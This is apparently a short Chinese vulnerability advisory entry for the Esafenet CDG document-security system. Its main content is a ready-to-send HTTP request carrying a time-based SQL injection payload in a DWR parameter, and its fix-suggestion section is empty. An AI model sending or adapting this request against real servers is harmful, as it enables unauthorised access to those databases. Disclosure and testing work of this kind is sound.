暂无
高危
亿赛通电子文档安全管理系统以数据资产防泄密为核心,涵盖文档安全、终端安全、防勒索、安全态势、集团管控五大板块,实现对用户电脑终端、移动办公、各类应用系统上的数据从生产、存储、流程、外发到销毁进行全生命周期保护。
亿赛通电子文档安全管理系统
0x05 POC
POST /CDGServer3/dwr/call/plaincall/JLockSeniorDao.findByLockName.dwr HTTP/1.1
Host: {Hostname}
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 414
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: text/plain
Accept-Encoding: gzip
callCount=1
page=/CDGServer3/dwr/test/JLockDao
httpSessionId=
scriptSessionId=
c0-scriptName=JLockSeniorDao
c0-methodName=findByLockName
c0-id=0
c0-param0=string:defaultKey1';WAITFOR DELAY '0:0:3'--
batchId=0
0x06 修复建议